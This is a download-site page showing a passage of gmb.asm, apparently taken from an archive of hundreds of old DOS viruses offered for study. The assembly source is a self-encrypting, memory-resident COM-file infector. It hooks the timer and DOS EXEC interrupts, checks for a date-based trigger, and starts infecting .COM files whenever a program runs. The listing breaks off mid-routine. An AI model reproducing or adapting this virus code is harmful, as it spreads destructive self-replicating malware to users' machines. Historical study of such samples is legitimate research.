⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 gmb.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
CODE     segment para  public 'code'
         assume  cs:code,ds:code,es:nothing,ss:nothing

                        org     100h

egy                     equ     1               ; one
dma                     equ     0b0h
atvar                   equ     300             ; at paramaeter
xtvar                   equ     1               ; xt parameter
suruseg                 equ     255             ; density
idotartalek             equ     18*30           ; time delay

start:          db      0e9h,0,0
;##################### Initialization ######################
resid:          push    ax
                mov     cx,offset memory - offset begin   ;#### decoding ####
                mov     bx,ds:[101h]
                add     bx,103h+(offset begin-offset resid)
jhg1:           xor     byte ptr [bx],0
                inc     bx
                loop    jhg1

begin:          sub     bx,(offset begin-offset resid)+(offset memory - offset begin)
                mov     cs:[0feh],bx
                mov     ax,[bx+(offset eltarol-offset resid)]
                mov     cl,[bx+(offset eltarol-offset resid)+2]
                mov     ds:[100h],ax
                mov     ds:[102h],cl
                mov     cx,0b800h
                mov     ah,15
                push    bx
                int     10h
                pop     bx
                cmp     al,7
                jne     rety
                mov     ch,0b0h
rety:           mov     [bx+(offset ruut - offset resid)+1],cx
                mov     word ptr [bx+(offset counter-offset resid)],idotartalek
                mov     byte ptr [bx+(offset jammed-offset resid)+1],al
                mov     byte ptr [bx+(offset vanesik-offset resid)],0
                xor     ax,ax
                mov     ds,ax
                cmp     word ptr ds:[130h],4142h
                je      zipp
                mov     ds:[130h],4142h
                mov     ax,cs
                dec     ax
                mov     ds,ax
                mov     ax,ds:[3]
                sub     ax,180h
                mov     ds:[3],ax
                add     ax,ds:[1]
                mov     es,ax
                push    cs
                pop     ds
                sub     word ptr ds:[2],384
                mov     di,3
                mov     si,bx
                mov     cx,(offset memory-offset resid) shr 1 +1
                cld
                rep     movsw
                mov     ax,es
                sub     ax,10h
                mov     ds,ax
                mov     dx,offset irq
                mov     ax,251ch
                int     21h
                mov     ah,2ah
                int     21h
                cmp     al,1
                jne     zipp
                dec     al
                out     0a0h,al
                mov     al,dma
                out     41h,al
zipp:
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                pop     ax
                push     cs
                mov     cx,100h
                push     cx
                mov     cx,ds:[0feh]
                sub     cx,100h
                retf
eltarol         dw      20cdh
eltarol2        db      90h

;######################### Vyrus activated ##########################
csik:           mov ax,0e000h
                mov ds,ax
csiky:          mov ds:[0],al
                inc al
                jmp csiky

;######################### propagation part ##########################

eredeti:        db 0eah                 ; original
int211          dw 0
int212          dw 0
counter         dw 0
szaporodas:     cmp ah,4bh      
                jne eredeti
                or al,al
                jnz eredeti
                push ax
                push es
                push bx
                push ds
                push dx
                mov bx,dx
koj:            inc bx
                cmp byte ptr [bx],'.'
                jne koj
                cmp byte ptr[bx+1],'C'
                jne kiugras1
                mov cs:kds,ds
                mov cs:kdx,dx
                mov cs:kbx,bx
                call probe
kiugras1:        pop dx
                pop ds
                pop bx
                pop es
                pop ax
                jmp eredeti
kds             dw 0
kdx             dw 0
kbx             dw 0
kkk             dw 0
fszam           dw 0
probe:          push cs
                pop es
                mov di,offset memory
                mov si,dx
                mov cx,40
                cld
                rep movsw
                mov bx,0ff0h
                mov ah,48h
                int 21h
                jnc juk1
                ret
                ;!!!!! memoria lefoglalva   (kkk = Seg)
atr             dw 0
juk1:           mov cs:kkk,ax
                mov dx,offset memory
                push ds
                pop es
                mov bx,cs:kbx
                mov byte ptr [bx+1],'A'  ;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -